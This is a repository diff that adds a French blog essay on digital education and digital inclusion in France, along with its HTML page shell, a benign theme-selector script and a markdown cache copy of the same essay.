<p>Il est également temps de valoriser dans notre éducation au numérique les plateformes et modèles alternatifs qui existent. Tout en expliquant les facteurs, notamment économiques, qui conduisent à l’hégémonie de plateformes et modèles dominants dont la toxicité est démontrée jour après jour. On pourrait même aller plus loin et concentrer notre éducation au numérique vers des plateformes et modèles qui respectent des critères éthiques minimum. Et boycotter purement et simplement les autres. Étant donné que les plateformes dominantes ont déjà les meilleurs UX designers du monde à leurs côtés, ça permettrait de rééquilibrer (un tout petit peu) la balance avec les autres plateformes, souvent moins ergonomiques et plus complexe.</p> | |||
<h2><span class="ez-toc-section" id="La_responsabilite_de_leducation_au_numerique_eduquer_pourquoi_et_pour_quoi"></span>La responsabilité de l’éducation au numérique : éduquer pourquoi et pour quoi ?<span class="ez-toc-section-end"></span></h2> | |||
<p>Dans son oeuvre phare, la <em>Némésis médicale</em>, Ivan Illich commence par ces mots : <em>L’entreprise médicale menace la santé</em>. Comme l’école, Illich critique la médecine en tant qu’institution. Dans écologie et politique, André Gorz poursuit la même idée. Pour Illich et Gorz, l’institution de la médecine est globalement complice d’un système (capitaliste et technique) qui rend malade les gens (par le travail, la pollution, l’alimentation, etc). La médecine s’attache alors à soigner les malades pour faire tourner la machine qui sinon s’écroulerait. Le système crée des problèmes, mais d’une certaine manière, il tient parce que la médecine apporte des solutions. Sauf qu’en opérant ainsi, le système change le pansement au lieu de penser le changement.</p> | |||
<p>Je trouve qu’il y a une analogie, lointaine certes, mais réelle avec l’institution qui se forme autour de l’éducation au numérique. Le système se numérise à grande vitesse, cela crée des cassures, des inégalités, des incompréhensions, des troubles. Alors une éducation au numérique s’institutionnalise pour réparer ce qui a été cassé, trouver des solutions aux problèmes. Mais à aucun moment, la question des causes n’est sérieusement diagnostiquée pour donner ensuite lieu à des politiques sociales. <strong>On dit que « 13 millions de Français subissent le numérique ». Mais subissent-ils le numérique, ou la numérisation de la société, qui est un choix politique délibéré ? </strong>L’enquête Capacity, à nouveau, donne des éléments de réponse. Pour 62% des non-internautes, Internet faciliterait les démarches administratives… parce qu’elles ont été numérisées, et loin devant le reste.</p> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-03-a%CC%80-16.04.01-1024x415.png" alt="" class="wp-image-8749" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-1024x415.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-300x122.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-768x311.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-540x219.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-1080x438.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01.png 1086w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> | |||
<h3>Éduquer au numérique, mais pas n’importe lequel, pas n’importe comment, et pas pour n’importe quoi<span class="ez-toc-section-end"></span></h3> | |||
<p>Il faut que nous réalisions que nous éducateurs, avons un rôle et une responsabilité dans ce système, dans cet actuel « non-choix de société » qui consiste à tout numériser, de nos données de santé à nos données éducatives, en passant par la justice, l’administration, et bien sûr la surveillance de masse. Individuellement, nous ne pouvons pas grand-chose face à un tel système. Collectivement, nous pouvons en revanche nous regrouper autour d’un certain nombre de principes. </p> | |||
<p>Éduquer au numérique, d’accord. Mais pas n’importe lequel, pas n’importe comment, et pas pour n’importe quoi. Certainement pas pour une société tout numérique qui n’aura pas fait l’objet d’un vrai processus démocratique. L’éducation au numérique ne doit pas être le facilitateur accommodant d’une numérisation totale de la société. Pas plus que le blanc-seing d’une logique technosolutionniste qui consiste à vouloir traiter chaque problème politique ou social avec une solution technologique.</p> | |||
<p>Au contraire, l’éducation au numérique pourrait et devrait traiter le numérique comme un fait social total : éminemment politique, économique et culturel. Contribuons précisément à créer les conditions d’un débat démocratique autour des technologies numériques. Éduquons les citoyens à se poser (toutes) les bonnes questions. À commencer par cette question centrale : quelle est la place que nous souhaitons accorder au numérique dans notre société ? Dans notre administration, notre démocratie, nos écoles, nos supermarchés ? Enfin, rappelons qu’il est possible d’éduquer au numérique sans utiliser d’outils numériques. Tout comme il est est possible, et même indispensable, d’éduquer au numérique des citoyens qui n’en seront peut-être jamais équipés.</p> | |||
<p>Éducateur·ices·, j’espère que nous pourrons poursuivre ces réflexions tous ensemble. Un grand merci à mes relecteurices qui ont beaucoup apporté à la compréhension de ce texte. </p> | |||
<h2><span class="ez-toc-section" id="Notes_additionnelles"></span>Notes additionnelles<span class="ez-toc-section-end"></span></h2> | |||
<p><em>Au fur et à mesure des échanges et réactions à cet article, je rajouterai des notes additionnelles à cet emplacement.</em></p> | |||
<ul><li>Avec la numérisation croissante de la société se cache un effet de bord qu’il me semble important d’avoir en tête : c’est la « course aux armements » entre cybercriminalité d’un côté, et cybersécurité de l’autre. Avec au milieu, le grand public, pour qui chaque acte numérique se complexifie. On peut donner l’exemple des identifications en deux étapes, ou les confirmations bancaires qui se font maintenant avec des clés digitales, etc. Ces opérations, qui visent à améliorer le niveau de sécurité de nos opérations numériques toujours plus nombreuses et toujours plus intimes, pourraient avoir pour corolaire de rendre une certaine forme d’inclusion numérique éternellement obsolète.</li><li>De nombreuses structures sont déjà clairement engagées dans une éducation au numérique plus « musclée » vis à vis des plateformes dominantes. D’autres ont déjà pris le parti de ne pas éduquer aux plateformes mais d’éduquer aux logiques elles-mêmes (les algorithmes, la science informatique, etc.). Elles ont beaucoup à apporter au débat par leurs retours d’expérience.</li><li>Je découvre les articles de Fabien Devilliers, médiateur numérique, qui me semblent être des témoignages essentiels. <a href="https://blogs.mediapart.fr/fabiend/blog/131220/l-inclusion-numerique-une-occasion-de-redonner-du-sens-au-progres-technologique-0">Espoir et impuissance : chroniques d’un médiateur numérique</a> et <a href="https://blogs.mediapart.fr/fabiend/blog/131220/l-inclusion-numerique-une-occasion-de-redonner-du-sens-au-progres-technologique-0">L’inclusion numérique: une occasion de redonner du sens au progrès technologique</a></li></ul> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,151 @@ | |||
title: Éduquer au numérique d’accord. Mais pas n’importe lequel et pas n’importe comment | |||
url: https://louisderrac.com/2021/11/03/eduquer-au-numerique-daccord-mais-pas-nimporte-lequel-et-pas-nimporte-comment/ | |||
hash_url: 099887889751a8432b4ab9ce7edc3bfa | |||
<p>Le petit monde de l’éducation au numérique est en train de s’élargir. Les enseignants, médiateurs, formateurs et acteurs sociaux existants, seront bientôt rejoints par les « Conseillers numériques ». Comme l’explique <a href="https://www.conseiller-numerique.gouv.fr/">le site dédié du programme</a>, « sur une durée de deux ans, l’État finance la formation et le déploiement de 4 000 conseillers numériques France Services ». Toujours selon le site, ces conseillers accompagneront les 13 millions de français qui « subissent » la transition [numérique].</p> | |||
<p>L’éducation au numérique monte donc en puissance. Mais vers quelle éducation se dirige-t-on ? Qui éduque-t-on, et à quel numérique ? Et surtout, cette éducation au numérique n’est-elle pas le blanc-seing qui rend progressivement légitime et tolérable une numérisation totale de la société ? </p> | |||
<p>Cet article pose ces questions et propose un début de réflexion, mais j’espère surtout engager un échange avec les premiers concernés : la communauté des éducateur·ice·s dont je fais partie.</p> | |||
<h2><span class="ez-toc-section" id="Avant_propos_eduquer_au_numerique"></span>Avant propos : éduquer au numérique ?<span class="ez-toc-section-end"></span></h2> | |||
<p>Dans cet article, je parlerai d’éducation au numérique, et d’éducateurs. Par éducation, j’ai choisi d’englober l’éducation tout au long de la vie. L’éducation scolaire et périscolaire, l’enseignement supérieur, la formation d’adultes, l’accompagnement des publics par des médiateurs et acteurs sociaux, etc. J’ai conscience que ces écosystèmes sont très différents, n’impliquent pas les mêmes ministères, les mêmes acteurs, les mêmes problématiques. Mais je suis également convaincu que certaines réflexions, tensions, et questionnements les traversent de la même manière. C’est le cas de ceux que je développe dans cet article.</p> | |||
<h2 id="h-13-millions-de-fran-ais-qui-subissent-le-num-rique-duquer-qui"><span class="ez-toc-section" id="13_millions_de_Francais_qui_%C2%AB_subissent_%C2%BB_le_numerique_eduquer_qui"></span>13 millions de Français qui « subissent » le numérique : éduquer qui ?<span class="ez-toc-section-end"></span></h2> | |||
<p>13 millions de Français « subiraient » le numérique, d’après le site Conseillers numériques. Le fait de « subir » le numérique est d’ailleurs bien subjectif. Côté <a href="https://www.insee.fr/fr/statistiques/4241397">INSEE</a>, ce serait plus d’un français sur trois qui « manquerait de compétences numériques de base ». Pour <a href="https://emmaus-connect.org/">Emmaüs Connect</a>, qui cite le <a href="https://www.economie.gouv.fr/files/files/directions_services/cge/Barometre_numerique_2021.pdf">Baromètre du Numérique 2021</a>, 35% des Français sont « encore en grande difficulté avec le numérique ». Difficile de suivre toutes ces formules qui, si elles ont le mérite d’être percutantes, n’en sont pas moins obscures. Qu’est-ce que « subir le numérique » ? Quelles sont ces « compétences numériques de base » ? Qu’implique concrètement « être en grande difficulté avec le numérique » ?</p> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-02-a%CC%80-17.25.05-1024x580.png" alt="" class="wp-image-8640" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1024x580.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-300x170.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-768x435.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1536x869.png 1536w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1120x634.png 1120w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-540x306.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1080x611.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05.png 1756w" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption>Graphique issu du <a href="https://www.economie.gouv.fr/files/files/directions_services/cge/Barometre_numerique_2021.pdf">Baromètre du Numérique 2021</a></figcaption></figure> | |||
<p>Dans ce graphique du Baromètre, il est intéressant de compter l’absence d’équipement comme une forme de difficulté. A-t-on considéré qu’il pouvait s’agir d’un choix ? A-t-on posé la question ? Idem pour l’accès à Internet, pour lequel les premiers résultats de <a href="https://www.marsouin.org/article953.html">l’enquête Capacity</a> montraient d’ailleurs que la raison principale de son non-usage était… l’absence d’intérêt. Plus largement, on voit les limites de ce type d’étude, qui partent du postulat que tout le monde veut se servir des outils numériques dans son quotidien. Ainsi, on pourrait tout à fait répondre qu’on ne rencontre aucun frein particulier… parce qu’on n’utilise aucun outil numérique et qu’on s’en porte très bien. </p> | |||
<figure class="wp-block-image size-full"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-03-a%CC%80-15.58.32.png" alt="" class="wp-image-8745" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32.png 868w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32-300x169.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32-768x434.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32-540x305.png 540w" sizes="(max-width: 868px) 100vw, 868px"><figcaption>Les non-internautes seraient très majoritairement heureux de l’être d’après les premiers résultats de l’<a href="https://www.marsouin.org/article953.htmlhttps://www.marsouin.org/article953.html">enquête Capacity du GIS Marsouin</a></figcaption></figure> | |||
<p>Dans <a href="https://www.insee.fr/fr/statistiques/4241397">les statistiques de l’INSEE</a>, il est aussi intéressant de regarder en détail ces plus d’un français sur trois qui manqueraient au moins d’une compétence numérique. Si dans l’ensemble, 16,5 % des français sont en situation « d’illectronisme » (un terme qui au passage, est peu apprécié sur le terrain), ils ne sont que 3% au sein des 15-45 ans, et moins de 10% chez les 45-60 ans. Du côté des compétences, alors qu’un français sur deux dans l’ensemble manque au moins de l’une d’entre elles, ils sont 19% chez les 15-30 ans et 33% chez les 30-44 ans. L’effet de l’âge est saisissant (mais pas étonnant). Sans surprise là aussi, le niveau de diplôme joue fortement sur les disparités d’équipement, d’usage et d’incapacités.</p> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-02-a%CC%80-17.30.25-1024x504.png" alt="" class="wp-image-8641" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-1024x504.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-300x148.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-768x378.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-1120x551.png 1120w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-540x266.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-1080x531.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25.png 1342w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-02-a%CC%80-17.38.10-1024x224.png" alt="" class="wp-image-8643" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-1024x224.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-300x66.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-768x168.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-1120x245.png 1120w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-540x118.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-1080x236.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10.png 1352w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> | |||
<p>En fait, toutes ces formules obscures semblent parfois n’exister que pour noyer les poissons (parce qu’il y en a plusieurs). Par exemple, les personnes âgées « subissent » massivement le numérique, c’est irréfutable. Mais ce n’est pas forcément parce qu’elles n’arrivent pas à s’en saisir. C’est aussi parce qu’elles n’en voient pas l’intérêt, qu’elles ont toujours fonctionné sans et que ça leur va très bien. Donc elles ne sont pas équipées, et ne se sont jamais « formées ». Les personnes en situation de précarité subissent elles-aussi massivement le numérique. Elles ont déjà toutes les peines du monde dans une société et une administration physique, et il n’y a aucune raison de croire que le numérique leur soit aujourd’hui d’une quelconque aide. Toutes les études ont démontré que les technologies numériques avaient tendance à amplifier les inégalités existantes, toutes.</p> | |||
<h3><span class="ez-toc-section" id="Eduquer_au_numerique_sans_se_tromper_de_priorites"></span>Éduquer au numérique sans se tromper de priorités<span class="ez-toc-section-end"></span></h3> | |||
<p>Certain·e·s citoyen·ne·s ne souhaitent ni s’équiper, ni se former au numérique. Selon les poncifs actuels, ils continueront donc à le subir, à être en fracture numérique, à être exclus, mais n’est-ce pas d’abord un droit qu’il faut respecter ? Et si oui, ne faut-il pas commencer par arrêter de traiter de « fracturé » quelqu’un qui fait le choix de ne pas être équipé et formé ? Ensuite, la priorité sera de créer les conditions d’une société physique qui peut se passer de numérique pour vivre (pour payer, accéder à ses droits, à ses services publics et privés, etc.). Quitte à remettre démocratiquement en question une numérisation totale, dont le bénéfice/risque n’est pas si évident (ne serait-ce qu’en terme de résilience et dans un contexte d’urgence écologique).</p> | |||
<p>Certain·e·s citoyen·ne·s seraient quant à eux tout à fait intéressé·e·s par les technologies numériques, mais leur priorité est d’abord d’améliorer leur condition sociale : leur travail, leur logement, leur santé, leurs enfants, etc. Vouloir contrer une forme d’exclusion numérique, provoquée par une inégalité sociale, par de l’éducation au numérique au lieu de s’attaquer aux racines de l’inégalité sociale n’est pas acceptable. Cela voudrait dire qu’on accepte qu’il y ait des Français en situation de précarité, tant que cette précarité est numérisée. Je pense qu’on se trompe de priorité, surtout si on intègre l’urgence climatique qui ne pourra jamais être contrée sans justice sociale.</p> | |||
<p>La priorité de l’éducation au numérique, et ce quel que soit le public, est sans doute de doter les citoyens d’une culture commune de ce qu’on appelle aujourd’hui communément « le » numérique. Un terme qu’on sait être très polysémique. Il y a donc un travail immense d’éducation au numérique dans l’éducation nationale, dans l’enseignement supérieur, dans la formation continue des salariés, dans l’animation des citoyens par les collectivités territoriales ou les associations. Je développe cet aspect dans les parties suivantes.</p> | |||
<h2><span class="ez-toc-section" id="GAFAM_BATX_modeles_alternatifs_eduquer_a_quoi"></span>GAFAM, BATX, modèles alternatifs : éduquer à quoi ?<span class="ez-toc-section-end"></span></h2> | |||
<p>Quels que soient ses publics (enfants, adultes, publics dits « éloignés »), l’éducation au numérique est passée par toutes les phases et disparités compte tenu de l’hétérogénéité de ses acteurs : enseignants, éducateurs, bénévoles d’associations, médiateurs ou encore acteurs sociaux. Humains avant tout, chacun ayant un rapport propre aux technologies numériques, des opinions politiques, des niveaux d’acculturation, des goûts personnels, etc.</p> | |||
<p>L’éducation au numérique a d’abord pris un tour de « prévention des risques ». C’était particulièrement vrai au début, quand Internet était cet objet incompris qui faisait peur au système politique et éducatif. Et c’est encore souvent vrai, surtout vis-à-vis des plus jeunes. Plus généralement, l’éducation au numérique a pris la forme d’une « éducation aux bons usages », s’attachant à former au fonctionnement des plateformes numériques dominantes. </p> | |||
<p>C’est lorsque plusieurs plateformes numériques dominantes se sont avérées être toxiques (Facebook, YouTube, Instagram, etc.) ou exagérément hégémoniques (Google, Microsoft, Apple, Amazon), que l’éducateur a commencé à être en proie aux doutes. La succession des scandales concernant certaines plateformes numériques oblige effectivement à se poser des questions. Une éducation au numérique qui consiste uniquement à « se faire manipuler le moins possible » par des publicités ciblées est-elle encore acceptable ? Une éducation au numérique qui se contente d’expliquer en quoi les mécanismes toxiques d’un réseau social favorisent l’égo et entraine la dépression a-t-elle encore le moindre sens ? Cette éducation avait-elle du sens pour commencer ?</p> | |||
<h3><span class="ez-toc-section" id="Muscler_leducation_au_numerique_et_la_rendre_plus_%C2%AB_militante_%C2%BB"></span>Muscler l’éducation au numérique et la rendre plus « militante »<span class="ez-toc-section-end"></span></h3> | |||
<p>Il est temps d’introduire dans notre éducation au numérique une dimension éminemment politique, culturelle et émancipatrice. Oui, tous les choix technologiques et techniques sont d’abord des choix politiques, ils incorporent des valeurs, des croyances, des idéologies. Non, ces choix n’ont rien d’inéluctables, et des alternatives peuvent voir le jour si on leur en laisse la possibilité. Oui, le débat démocratique et les revendications citoyennes sont encore largement absents des choix technologiques. La première mission de l’éducation au numérique devrait être de donner des clés de compréhension au citoyen. Y compris pour lui permettre de faire des choix entrainant moins de numérique. L’éducation au numérique doit être fondamentalement émancipatrice. Or on n’émancipe pas quelqu’un quand on se contente de lui apprendre à payer ses impôts.</p> | |||
<p>Il est également temps de valoriser dans notre éducation au numérique les plateformes et modèles alternatifs qui existent. Tout en expliquant les facteurs, notamment économiques, qui conduisent à l’hégémonie de plateformes et modèles dominants dont la toxicité est démontrée jour après jour. On pourrait même aller plus loin et concentrer notre éducation au numérique vers des plateformes et modèles qui respectent des critères éthiques minimum. Et boycotter purement et simplement les autres. Étant donné que les plateformes dominantes ont déjà les meilleurs UX designers du monde à leurs côtés, ça permettrait de rééquilibrer (un tout petit peu) la balance avec les autres plateformes, souvent moins ergonomiques et plus complexe.</p> | |||
<h2><span class="ez-toc-section" id="La_responsabilite_de_leducation_au_numerique_eduquer_pourquoi_et_pour_quoi"></span>La responsabilité de l’éducation au numérique : éduquer pourquoi et pour quoi ?<span class="ez-toc-section-end"></span></h2> | |||
<p>Dans son oeuvre phare, la <em>Némésis médicale</em>, Ivan Illich commence par ces mots : <em>L’entreprise médicale menace la santé</em>. Comme l’école, Illich critique la médecine en tant qu’institution. Dans écologie et politique, André Gorz poursuit la même idée. Pour Illich et Gorz, l’institution de la médecine est globalement complice d’un système (capitaliste et technique) qui rend malade les gens (par le travail, la pollution, l’alimentation, etc). La médecine s’attache alors à soigner les malades pour faire tourner la machine qui sinon s’écroulerait. Le système crée des problèmes, mais d’une certaine manière, il tient parce que la médecine apporte des solutions. Sauf qu’en opérant ainsi, le système change le pansement au lieu de penser le changement.</p> | |||
<p>Je trouve qu’il y a une analogie, lointaine certes, mais réelle avec l’institution qui se forme autour de l’éducation au numérique. Le système se numérise à grande vitesse, cela crée des cassures, des inégalités, des incompréhensions, des troubles. Alors une éducation au numérique s’institutionnalise pour réparer ce qui a été cassé, trouver des solutions aux problèmes. Mais à aucun moment, la question des causes n’est sérieusement diagnostiquée pour donner ensuite lieu à des politiques sociales. <strong>On dit que « 13 millions de Français subissent le numérique ». Mais subissent-ils le numérique, ou la numérisation de la société, qui est un choix politique délibéré ? </strong>L’enquête Capacity, à nouveau, donne des éléments de réponse. Pour 62% des non-internautes, Internet faciliterait les démarches administratives… parce qu’elles ont été numérisées, et loin devant le reste.</p> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-03-a%CC%80-16.04.01-1024x415.png" alt="" class="wp-image-8749" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-1024x415.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-300x122.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-768x311.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-540x219.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01-1080x438.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-16.04.01.png 1086w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> | |||
<h3>Éduquer au numérique, mais pas n’importe lequel, pas n’importe comment, et pas pour n’importe quoi<span class="ez-toc-section-end"></span></h3> | |||
<p>Il faut que nous réalisions que nous éducateurs, avons un rôle et une responsabilité dans ce système, dans cet actuel « non-choix de société » qui consiste à tout numériser, de nos données de santé à nos données éducatives, en passant par la justice, l’administration, et bien sûr la surveillance de masse. Individuellement, nous ne pouvons pas grand-chose face à un tel système. Collectivement, nous pouvons en revanche nous regrouper autour d’un certain nombre de principes. </p> | |||
<p>Éduquer au numérique, d’accord. Mais pas n’importe lequel, pas n’importe comment, et pas pour n’importe quoi. Certainement pas pour une société tout numérique qui n’aura pas fait l’objet d’un vrai processus démocratique. L’éducation au numérique ne doit pas être le facilitateur accommodant d’une numérisation totale de la société. Pas plus que le blanc-seing d’une logique technosolutionniste qui consiste à vouloir traiter chaque problème politique ou social avec une solution technologique.</p> | |||
<p>Au contraire, l’éducation au numérique pourrait et devrait traiter le numérique comme un fait social total : éminemment politique, économique et culturel. Contribuons précisément à créer les conditions d’un débat démocratique autour des technologies numériques. Éduquons les citoyens à se poser (toutes) les bonnes questions. À commencer par cette question centrale : quelle est la place que nous souhaitons accorder au numérique dans notre société ? Dans notre administration, notre démocratie, nos écoles, nos supermarchés ? Enfin, rappelons qu’il est possible d’éduquer au numérique sans utiliser d’outils numériques. Tout comme il est est possible, et même indispensable, d’éduquer au numérique des citoyens qui n’en seront peut-être jamais équipés.</p> | |||
<p>Éducateur·ices·, j’espère que nous pourrons poursuivre ces réflexions tous ensemble. Un grand merci à mes relecteurices qui ont beaucoup apporté à la compréhension de ce texte. </p> | |||
<h2><span class="ez-toc-section" id="Notes_additionnelles"></span>Notes additionnelles<span class="ez-toc-section-end"></span></h2> | |||
<p><em>Au fur et à mesure des échanges et réactions à cet article, je rajouterai des notes additionnelles à cet emplacement.</em></p> | |||
<ul><li>Avec la numérisation croissante de la société se cache un effet de bord qu’il me semble important d’avoir en tête : c’est la « course aux armements » entre cybercriminalité d’un côté, et cybersécurité de l’autre. Avec au milieu, le grand public, pour qui chaque acte numérique se complexifie. On peut donner l’exemple des identifications en deux étapes, ou les confirmations bancaires qui se font maintenant avec des clés digitales, etc. Ces opérations, qui visent à améliorer le niveau de sécurité de nos opérations numériques toujours plus nombreuses et toujours plus intimes, pourraient avoir pour corolaire de rendre une certaine forme d’inclusion numérique éternellement obsolète.</li><li>De nombreuses structures sont déjà clairement engagées dans une éducation au numérique plus « musclée » vis à vis des plateformes dominantes. D’autres ont déjà pris le parti de ne pas éduquer aux plateformes mais d’éduquer aux logiques elles-mêmes (les algorithmes, la science informatique, etc.). Elles ont beaucoup à apporter au débat par leurs retours d’expérience.</li><li>Je découvre les articles de Fabien Devilliers, médiateur numérique, qui me semblent être des témoignages essentiels. <a href="https://blogs.mediapart.fr/fabiend/blog/131220/l-inclusion-numerique-une-occasion-de-redonner-du-sens-au-progres-technologique-0">Espoir et impuissance : chroniques d’un médiateur numérique</a> et <a href="https://blogs.mediapart.fr/fabiend/blog/131220/l-inclusion-numerique-une-occasion-de-redonner-du-sens-au-progres-technologique-0">L’inclusion numérique: une occasion de redonner du sens au progrès technologique</a></li></ul> |
@@ -0,0 +1,785 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
